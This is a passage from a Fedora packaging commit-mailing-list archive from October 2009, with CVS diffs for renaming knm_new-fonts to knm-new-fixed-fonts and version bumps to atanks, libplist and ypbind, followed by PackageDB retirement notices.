- Improve the spec file etc to pass the package review.

* Tue Oct 13 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-7
- Renaming to satisfy the naming schema in the fontpackages policy.

* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-6
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Thu Mar 26 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-5
- Clean up a spec file.
- Rebuild to correct autoprovides (#491966)

* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Tue Oct 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-3
- Remove the upstream's dead link from the spec file. (#353941)

* Fri Sep  7 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-2
- clean up

* Thu Aug 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-1
- Split up from fonts-japanese.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:08:08 -0000	1.1
+++ .cvsignore	29 Oct 2009 07:29:45 -0000	1.2
@@ -0,0 +1 @@
+knm_new.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:08:09 -0000	1.1
+++ sources	29 Oct 2009 07:29:45 -0000	1.2
@@ -0,0 +1 @@
+065920714d022cfd225feb6d80b03238  knm_new.tar.gz



From npajkovs at fedoraproject.org  Thu Oct 29 07:31:19 2009
From: npajkovs at fedoraproject.org (Nikola Pajkovsky)
Date: Thu, 29 Oct 2009 07:31:19 +0000 (UTC)
Subject: rpms/atanks/devel .cvsignore, 1.8, 1.9 atanks.spec, 1.11,
	1.12 sources, 1.8, 1.9
Message-ID: <20091029073119.06E7011C02C9@cvs1.fedora.phx.redhat.com>

Author: npajkovs

Update of /cvs/extras/rpms/atanks/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7590

Modified Files:
	.cvsignore atanks.spec sources 
Log Message:
Upstream 4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/atanks/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	17 Sep 2009 15:26:40 -0000	1.8
+++ .cvsignore	29 Oct 2009 07:31:14 -0000	1.9
@@ -1 +1 @@
-atanks-3.9.tar.gz
+atanks-4.1.tar.gz


Index: atanks.spec
===================================================================
RCS file: /cvs/extras/rpms/atanks/devel/atanks.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- atanks.spec	17 Sep 2009 15:26:40 -0000	1.11
+++ atanks.spec	29 Oct 2009 07:31:16 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           atanks
-Version:        3.9
+Version:        4.1
 Release:        1%{?dist}
 Summary:        Remake of a classic DOS game "Scorched Earth"
 
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Nikola Pajkovsky <npajkovs at redhat.com> 4.1-1
+- Upstream 4.1
+
 * Thu Sep 17 2009 Jon Ciesla <limb at jcomserv.net> - 3.9-1
 - Upstream 3.9
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/atanks/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	17 Sep 2009 15:26:40 -0000	1.8
+++ sources	29 Oct 2009 07:31:16 -0000	1.9
@@ -1 +1 @@
-bc5a6d016161d3cedde909f38a805db5  atanks-3.9.tar.gz
+20abbf47d8cea0ed1ef1c1f19a872569  atanks-4.1.tar.gz



From tagoh at fedoraproject.org  Thu Oct 29 07:33:44 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 07:33:44 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/devel knm-new-fixed-fonts.spec,1.1,1.2
Message-ID: <20091029073344.3BBA311C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8591

Modified Files:
	knm-new-fixed-fonts.spec 
Log Message:
* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
- change the priority to 65 to make this the less priority.


Index: knm-new-fixed-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/devel/knm-new-fixed-fonts.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- knm-new-fixed-fonts.spec	29 Oct 2009 06:03:10 -0000	1.1
+++ knm-new-fixed-fonts.spec	29 Oct 2009 07:33:43 -0000	1.2
@@ -1,11 +1,11 @@
-%global		priority	69
+%global		priority	65
 %global		fontname	knm-new-fixed
 %global		fontconf	%{priority}-%{fontname}.conf
 %global		catalogue	%{_sysconfdir}/X11/fontpath.d
 
 Name:		%{fontname}-fonts
 Version:	1.1
-Release:	8%{?dist}
+Release:	9%{?dist}
 
 Summary:	12x12 JIS X 0208 Bitmap fonts
 Group:		User Interface/X
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
+- change the priority to 65 to make this the less priority.
+
 * Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
 - Improve the spec file etc to pass the package review.
 



From tagoh at fedoraproject.org  Thu Oct 29 07:46:36 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 07:46:36 +0000 (UTC)
Subject: rpms/knm_new-fonts/devel Makefile,1.1,NONE sources,1.2,NONE
Message-ID: <20091029074636.E43FF11C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm_new-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14190

Removed Files:
	Makefile sources 
Log Message:
dead package


--- Makefile DELETED ---


--- sources DELETED ---



From tagoh at fedoraproject.org  Thu Oct 29 07:47:09 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 07:47:09 +0000 (UTC)
Subject: rpms/knm_new-fonts/devel dead.package,NONE,1.1
Message-ID: <20091029074709.3B89511C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm_new-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14668

Added Files:
	dead.package 
Log Message:
dead package


--- NEW FILE dead.package ---
This package has been renamed to knm-new-fixed-fonts.



From tagoh at fedoraproject.org  Thu Oct 29 07:47:33 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 07:47:33 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/F-12 knm-new-fixed-fonts.spec,1.1,1.2
Message-ID: <20091029074733.56CCD11C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14959

Modified Files:
	knm-new-fixed-fonts.spec 
Log Message:
* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
- change the priority to 65 to make this the less priority.


Index: knm-new-fixed-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-12/knm-new-fixed-fonts.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- knm-new-fixed-fonts.spec	29 Oct 2009 06:37:08 -0000	1.1
+++ knm-new-fixed-fonts.spec	29 Oct 2009 07:47:32 -0000	1.2
@@ -1,11 +1,11 @@
-%global		priority	69
+%global		priority	65
 %global		fontname	knm-new-fixed
 %global		fontconf	%{priority}-%{fontname}.conf
 %global		catalogue	%{_sysconfdir}/X11/fontpath.d
 
 Name:		%{fontname}-fonts
 Version:	1.1
-Release:	8%{?dist}
+Release:	9%{?dist}
 
 Summary:	12x12 JIS X 0208 Bitmap fonts
 Group:		User Interface/X
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
+- change the priority to 65 to make this the less priority.
+
 * Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
 - Improve the spec file etc to pass the package review.
 



From tagoh at fedoraproject.org  Thu Oct 29 08:03:48 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:03:48 +0000 (UTC)
Subject: rpms/knm_new-fonts/F-12 dead.package, NONE, 1.1 Makefile, 1.1,
	NONE branch, 1.1, NONE knm_new-fonts.spec, 1.6, NONE sources,
	1.2, NONE
Message-ID: <20091029080348.9C36011C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm_new-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21194

Added Files:
	dead.package 
Removed Files:
	Makefile branch knm_new-fonts.spec sources 
Log Message:
dead package


--- NEW FILE dead.package ---
This package has been renamed to knm-new-fixed-fonts.


--- Makefile DELETED ---


--- branch DELETED ---


--- knm_new-fonts.spec DELETED ---


--- sources DELETED ---



From tagoh at fedoraproject.org  Thu Oct 29 08:11:37 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:11:37 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.61,1.62
Message-ID: <20091029081137.940D211C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23904

Modified Files:
	comps-f13.xml.in 
Log Message:
renamed knm_new-fonts to knm-new-fixed-fonts


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- comps-f13.xml.in	26 Oct 2009 20:41:33 -0000	1.61
+++ comps-f13.xml.in	29 Oct 2009 08:11:36 -0000	1.62
@@ -3958,7 +3958,7 @@
       <packagereq type="optional">ghostscript-fonts</packagereq>
       <packagereq type="optional">japanese-bitmap-fonts</packagereq>
       <packagereq type="optional">jisksp16-1990-fonts</packagereq>
-      <packagereq type="optional">knm_new-fonts</packagereq>
+      <packagereq type="optional">knm-new-fixed-fonts</packagereq>
       <packagereq type="optional">libdockapp-fonts</packagereq>
       <packagereq type="optional">lyx-cmex10-fonts</packagereq>
       <packagereq type="optional">lyx-cmmi10-fonts</packagereq>



From tagoh at fedoraproject.org  Thu Oct 29 08:12:51 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:12:51 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/F-11 knm-new-fixed-fonts.spec,1.1,1.2
Message-ID: <20091029081251.5DDBF11C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24865

Modified Files:
	knm-new-fixed-fonts.spec 
Log Message:
* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
- change the priority to 65 to make this the less priority.


Index: knm-new-fixed-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-11/knm-new-fixed-fonts.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- knm-new-fixed-fonts.spec	29 Oct 2009 07:19:55 -0000	1.1
+++ knm-new-fixed-fonts.spec	29 Oct 2009 08:12:50 -0000	1.2
@@ -1,11 +1,11 @@
-%global		priority	69
+%global		priority	65
 %global		fontname	knm-new-fixed
 %global		fontconf	%{priority}-%{fontname}.conf
 %global		catalogue	%{_sysconfdir}/X11/fontpath.d
 
 Name:		%{fontname}-fonts
 Version:	1.1
-Release:	8%{?dist}
+Release:	9%{?dist}
 
 Summary:	12x12 JIS X 0208 Bitmap fonts
 Group:		User Interface/X
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
+- change the priority to 65 to make this the less priority.
+
 * Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
 - Improve the spec file etc to pass the package review.
 



From kklic at fedoraproject.org  Thu Oct 29 08:15:38 2009
From: kklic at fedoraproject.org (=?utf-8?b?S2FyZWwgS2zDrcSN?=)
Date: Thu, 29 Oct 2009 08:15:38 +0000 (UTC)
Subject: rpms/ypbind/devel ypbind-mt-1.29.91-man-port.patch, NONE,
	1.1 .cvsignore, 1.11, 1.12 sources, 1.11, 1.12 ypbind.spec, 1.63,
	1.64 ypbind-1.11-broadcast.patch, 1.1,
	NONE ypbind-mt-1.19-port-leak.patch, 1.1,
	NONE ypbind-mt-1.20.4-log-binds.patch, 1.1,
	NONE ypbind-mt-1.20.4-man-port.patch, 1.1,
	NONE ypbind-mt-1.20.4-nm.patch, 1.1,
	NONE ypbind-mt-1.20.4-smartwrite.patch, 1.1, NONE
Message-ID: <20091029081538.9D03A11C008B@cvs1.fedora.phx.redhat.com>

Author: kklic

Update of /cvs/extras/rpms/ypbind/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25472

Modified Files:
	.cvsignore sources ypbind.spec 
Added Files:
	ypbind-mt-1.29.91-man-port.patch 
Removed Files:
	ypbind-1.11-broadcast.patch ypbind-mt-1.19-port-leak.patch 
	ypbind-mt-1.20.4-log-binds.patch 
	ypbind-mt-1.20.4-man-port.patch ypbind-mt-1.20.4-nm.patch 
	ypbind-mt-1.20.4-smartwrite.patch 
Log Message:
Updated to the latest upstream version ypbind-mt-1.29.91

ypbind-mt-1.29.91-man-port.patch:
 ypbind.8.xml |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE ypbind-mt-1.29.91-man-port.patch ---
diff -up ypbind-mt-1.29.91/man/ypbind.8.xml.man-port ypbind-mt-1.29.91/man/ypbind.8.xml
--- ypbind-mt-1.29.91/man/ypbind.8.xml.man-port	2009-06-15 16:29:18.000000000 +0200
+++ ypbind-mt-1.29.91/man/ypbind.8.xml	2009-10-26 17:55:32.000000000 +0100
@@ -47,6 +47,7 @@
       <arg choice='opt'>-ypset </arg>
       <arg choice='opt'>-ypsetme </arg>
       <arg choice='opt'>-no-ping </arg>
+      <arg choice='opt'>-p <replaceable>port</replaceable></arg>
       <arg choice='opt'>-f <replaceable>configfile</replaceable></arg>
       <arg choice='opt'>-local-only </arg>
       <arg choice='opt'>-ping-interval <replaceable>ping-interval</replaceable></arg>
@@ -238,6 +239,15 @@ from keeping the connection unnecessaril
   </listitem>
   </varlistentry>
   <varlistentry>
+  <term><option>-p</option> port</term>
+  <listitem>
+<para><command>ypbind</command>
+will bind itself to this port. This makes it possible to have a router 
+filtering packets to the NIS ports, so that access to this service from
+hosts on the Internet can be restricted.</para>
+  </listitem>
+  </varlistentry>
+  <varlistentry>
   <term><option>-f</option> configfile</term>
   <listitem>
 <para><command>ypbind</command>


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ypbind/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	3 May 2007 17:15:22 -0000	1.11
+++ .cvsignore	29 Oct 2009 08:15:37 -0000	1.12
@@ -1,2 +1 @@
-ypbind-mt-1.19.tar.bz2
-ypbind-mt-1.20.4.tar.bz2
+ypbind-mt-1.29.91.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ypbind/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	3 May 2007 17:15:22 -0000	1.11
+++ sources	29 Oct 2009 08:15:37 -0000	1.12
@@ -1 +1 @@
-266d2fb625d5511c4c5cc54a03bea00a  ypbind-mt-1.20.4.tar.bz2
+ab196dbb9474481e1e879f3d8cc94e30  ypbind-mt-1.29.91.tar.bz2


Index: ypbind.spec
===================================================================
RCS file: /cvs/extras/rpms/ypbind/devel/ypbind.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- ypbind.spec	27 Jul 2009 08:55:46 -0000	1.63
+++ ypbind.spec	29 Oct 2009 08:15:38 -0000	1.64
@@ -1,20 +1,15 @@
 Summary: The NIS daemon which binds NIS clients to an NIS domain
 Name: ypbind
-Version: 1.20.4
-Release: 19%{?dist}
+Version: 1.29.91
+Release: 1%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source0: ftp://ftp.us.kernel.org/pub/linux/utils/net/NIS/ypbind-mt-%{version}.tar.bz2
 Url: http://www.linux-nis.org/nis/ypbind-mt/index.html
 Source1: ypbind.init
 Source2: nis.sh
-Patch1: ypbind-1.11-broadcast.patch
-Patch2: ypbind-1.11-gettextdomain.patch
-Patch3: ypbind-mt-1.19-port-leak.patch
-Patch4: ypbind-mt-1.20.4-log-binds.patch
-Patch5: ypbind-mt-1.20.4-smartwrite.patch
-Patch6: ypbind-mt-1.20.4-man-port.patch
-Patch7: ypbind-mt-1.20.4-nm.patch
+Patch1: ypbind-1.11-gettextdomain.patch
+Patch2: ypbind-mt-1.29.91-man-port.patch
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -46,13 +41,8 @@ also need to install the ypserv package 
 
 %prep
 %setup -q -n ypbind-mt-%{version}
-%patch1 -p1 -b .broadcast
-%patch2 -p1 -b .gettextdomain
-%patch3 -p1 -b .port-leak
-%patch4 -p1 -b .log-binds
-%patch5 -p1 -b .smartwrite
-%patch6 -p1 -b .man-port
-%patch7 -p1 -b .nm
+%patch1 -p1 -b .gettextdomain
+%patch2 -p1 -b .man-port
 
 %build
 %configure --sbindir=/sbin
@@ -97,6 +87,16 @@ fi
 %doc README NEWS
 
 %changelog
+* Mon Oct 26 2009 Karel Klic <kklic at redhat.com> - 3:1.29.91-1
+- Updated to 1.29.91 from upstream
+- Removed 1.19-port-leak patch because the upstream source code has 
+  been changed and the port leaks should not happen anymore
+- Removed 1.20.4-smartwrite patch because it was merged by upstream
+- Removed 1.20.4-nm patch as the upstream merged the important part
+- Removed 1.20.4-log-binds patch because it was merged by upstream
+- Ported 1.20.4-man-port patch to the new release, sent to Thorsten Kukuk
+- Removed 1.11-broadcast patch
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3:1.20.4-19
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- ypbind-1.11-broadcast.patch DELETED ---


--- ypbind-mt-1.19-port-leak.patch DELETED ---


--- ypbind-mt-1.20.4-log-binds.patch DELETED ---


--- ypbind-mt-1.20.4-man-port.patch DELETED ---


--- ypbind-mt-1.20.4-nm.patch DELETED ---


--- ypbind-mt-1.20.4-smartwrite.patch DELETED ---



From tagoh at fedoraproject.org  Thu Oct 29 08:24:51 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:24:51 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/F-10 knm-new-fixed-fonts.spec,1.1,1.2
Message-ID: <20091029082451.4C79F11C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28603

Modified Files:
	knm-new-fixed-fonts.spec 
Log Message:
* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
- change the priority to 65 to make this the less priority.


Index: knm-new-fixed-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-10/knm-new-fixed-fonts.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- knm-new-fixed-fonts.spec	29 Oct 2009 07:29:45 -0000	1.1
+++ knm-new-fixed-fonts.spec	29 Oct 2009 08:24:51 -0000	1.2
@@ -1,11 +1,11 @@
-%global		priority	69
+%global		priority	65
 %global		fontname	knm-new-fixed
 %global		fontconf	%{priority}-%{fontname}.conf
 %global		catalogue	%{_sysconfdir}/X11/fontpath.d
 
 Name:		%{fontname}-fonts
 Version:	1.1
-Release:	8%{?dist}
+Release:	9%{?dist}
 
 Summary:	12x12 JIS X 0208 Bitmap fonts
 Group:		User Interface/X
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-9
+- change the priority to 65 to make this the less priority.
+
 * Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
 - Improve the spec file etc to pass the package review.
 



From tagoh at fedoraproject.org  Thu Oct 29 08:25:50 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:25:50 +0000 (UTC)
Subject: rpms/knm_new-fonts/F-11 dead.package, NONE, 1.1 Makefile, 1.1,
	NONE branch, 1.1, NONE knm_new-fonts.spec, 1.5, NONE sources,
	1.2, NONE
Message-ID: <20091029082550.AD2CE11C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm_new-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28981

Added Files:
	dead.package 
Removed Files:
	Makefile branch knm_new-fonts.spec sources 
Log Message:
dead package


--- NEW FILE dead.package ---
This package has been renamed to knm-new-fixed-fonts.


--- Makefile DELETED ---


--- branch DELETED ---


--- knm_new-fonts.spec DELETED ---


--- sources DELETED ---



From pbrobinson at fedoraproject.org  Thu Oct 29 08:34:06 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 08:34:06 +0000 (UTC)
Subject: rpms/libplist/devel .cvsignore, 1.4, 1.5 libplist.spec, 1.4,
	1.5 sources, 1.4, 1.5
Message-ID: <20091029083406.5A4EC11C008B@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/libplist/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31116

Modified Files:
	.cvsignore libplist.spec sources 
Log Message:
- New upstream 0.16 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Oct 2009 11:43:29 -0000	1.4
+++ .cvsignore	29 Oct 2009 08:34:05 -0000	1.5
@@ -1 +1 @@
-libplist-0.15.tar.bz2
+libplist-0.16.tar.bz2


Index: libplist.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/libplist.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- libplist.spec	20 Oct 2009 11:43:30 -0000	1.4
+++ libplist.spec	29 Oct 2009 08:34:05 -0000	1.5
@@ -1,7 +1,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           libplist
-Version:        0.15
+Version:        0.16
 Release:        1%{?dist}
 Summary:        Library for manipulating Apple Binary and XML Property Lists
 
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/libplist
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-1
+- New upstream 0.16 release
+
 * Tue Oct 20 2009 Peter Robinson <pbrobinson at gmail.com> 0.15-1
 - New upstream 0.15 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Oct 2009 11:43:30 -0000	1.4
+++ sources	29 Oct 2009 08:34:06 -0000	1.5
@@ -1 +1 @@
-9d98871ad40d774500e3dbea1e8070b8  libplist-0.15.tar.bz2
+c2fffd7723df3cbd76a05a1867f1fbf2  libplist-0.16.tar.bz2



From tagoh at fedoraproject.org  Thu Oct 29 08:49:20 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:49:20 +0000 (UTC)
Subject: rpms/knm_new-fonts/F-10 Makefile, 1.1, NONE branch, 1.1,
	NONE knm_new-fonts.spec, 1.2, NONE sources, 1.2, NONE
Message-ID: <20091029084920.B8BDF11C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm_new-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4803

Removed Files:
	Makefile branch knm_new-fonts.spec sources 
Log Message:
dead package


--- Makefile DELETED ---


--- branch DELETED ---


--- knm_new-fonts.spec DELETED ---


--- sources DELETED ---



From tagoh at fedoraproject.org  Thu Oct 29 08:52:12 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 08:52:12 +0000 (UTC)
Subject: comps comps-f10.xml.in,1.286,1.287 comps-f11.xml.in,1.318,1.319
Message-ID: <20091029085212.4461911C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5622

Modified Files:
	comps-f10.xml.in comps-f11.xml.in 
Log Message:
renamed knm_new-fonts to knm-new-fixed-fonts


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.286
retrieving revision 1.287
diff -u -p -r1.286 -r1.287
--- comps-f10.xml.in	22 Oct 2009 23:19:00 -0000	1.286
+++ comps-f10.xml.in	29 Oct 2009 08:52:11 -0000	1.287
@@ -3284,7 +3284,7 @@
       <packagereq type="optional">ghostscript-fonts</packagereq>
       <packagereq type="optional">japanese-bitmap-fonts</packagereq>
       <packagereq type="optional">jisksp16-1990-fonts</packagereq>
-      <packagereq type="optional">knm_new-fonts</packagereq>
+      <packagereq type="optional">knm-new-fixed-fonts</packagereq>
       <packagereq type="optional">libdockapp-fonts</packagereq>
       <packagereq type="optional">mona-fonts-bitmap</packagereq>
       <packagereq type="optional">taipeifonts</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.318
retrieving revision 1.319
diff -u -p -r1.318 -r1.319
--- comps-f11.xml.in	23 Oct 2009 16:15:59 -0000	1.318
+++ comps-f11.xml.in	29 Oct 2009 08:52:11 -0000	1.319
@@ -3757,7 +3757,7 @@
       <packagereq type="optional">ghostscript-fonts</packagereq>
       <packagereq type="optional">japanese-bitmap-fonts</packagereq>
       <packagereq type="optional">jisksp16-1990-fonts</packagereq>
-      <packagereq type="optional">knm_new-fonts</packagereq>
+      <packagereq type="optional">knm-new-fixed-fonts</packagereq>
       <packagereq type="optional">libdockapp-fonts</packagereq>
       <packagereq type="optional">mona-bitmap-fonts</packagereq>
       <packagereq type="optional">nted-ntedfont-fonts</packagereq>



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:23 +0000
Subject: [pkgdb] knm_new-fonts ownership updated
Message-ID: <20091029085424.17C6010F87E@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora devel was orphaned by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:24 +0000
Subject: [pkgdb] knm_new-fonts (un)retirement
Message-ID: <20091029085424.357E610F899@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora devel has been retired by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:31 +0000
Subject: [pkgdb] knm_new-fonts ownership updated
Message-ID: <20091029085432.12EC310F871@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora 10 was orphaned by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:31 +0000
Subject: [pkgdb] knm_new-fonts (un)retirement
Message-ID: <20091029085432.2791510F880@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora 10 has been retired by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:35 +0000
Subject: [pkgdb] knm_new-fonts ownership updated
Message-ID: <20091029085435.AC3E510F899@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora 11 was orphaned by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:35 2009
